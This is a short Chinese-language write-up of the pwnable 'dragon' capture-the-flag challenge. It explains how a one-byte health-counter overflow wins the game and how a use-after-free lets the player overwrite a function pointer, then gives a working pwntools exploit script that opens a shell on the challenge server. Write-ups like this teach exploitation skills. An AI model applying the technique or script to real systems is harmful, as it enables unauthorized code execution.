pwnable_dragon(整數溢出+UAF)
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下,遊戲結束後釋放掉了ptr
也就是釋放掉了v5,而當我們打贏遊戲的時候,又malloc(0x10)並輸入,然後又調用了v5裏面的函數指針,由於v5之前free掉了,所以這裏malloc(0x10)並輸入,控制的就是v5指向的那塊內存,將裏面指針指向後面函數即可。
現在是如何才能贏得遊戲,觀察龍的血量,是一個byte
而贏得遊戲的條件是龍的血量小於等於0
Byte的話超過127,就小於等於0了,因此,我們讓龍的血量不斷增加,最終溢出即可贏得遊戲。第一次,我們故意輸掉遊戲,然後來到第二次,龍的血量初始化爲80,也就是0x50,這樣我們只需讓龍的血量增加0x30即可輕鬆贏得遊戲。
#coding:utf8
from pwn import *
#sh = process('./pwnable_dragon')
sh = remote('node3.buuoj.cn',29862)
def win():
#第一次輸掉
sh.sendlineafter('[ 2 ] Knight','1')
for i in range(2):
sh.sendline('3')
sh.sendline('3')
sh.sendline('2')
#第二次,dragon的血爲80,我們讓其增加溢出127後即可贏
sh.sendlineafter('[ 2 ] Knight','1')
for i in range(4):
sh.sendline('3')
sh.sendline('3')
sh.sendline('2')
win()
sh.sendlineafter('The World Will Remember You As:',p32(0x08048DBF))
sh.interactive()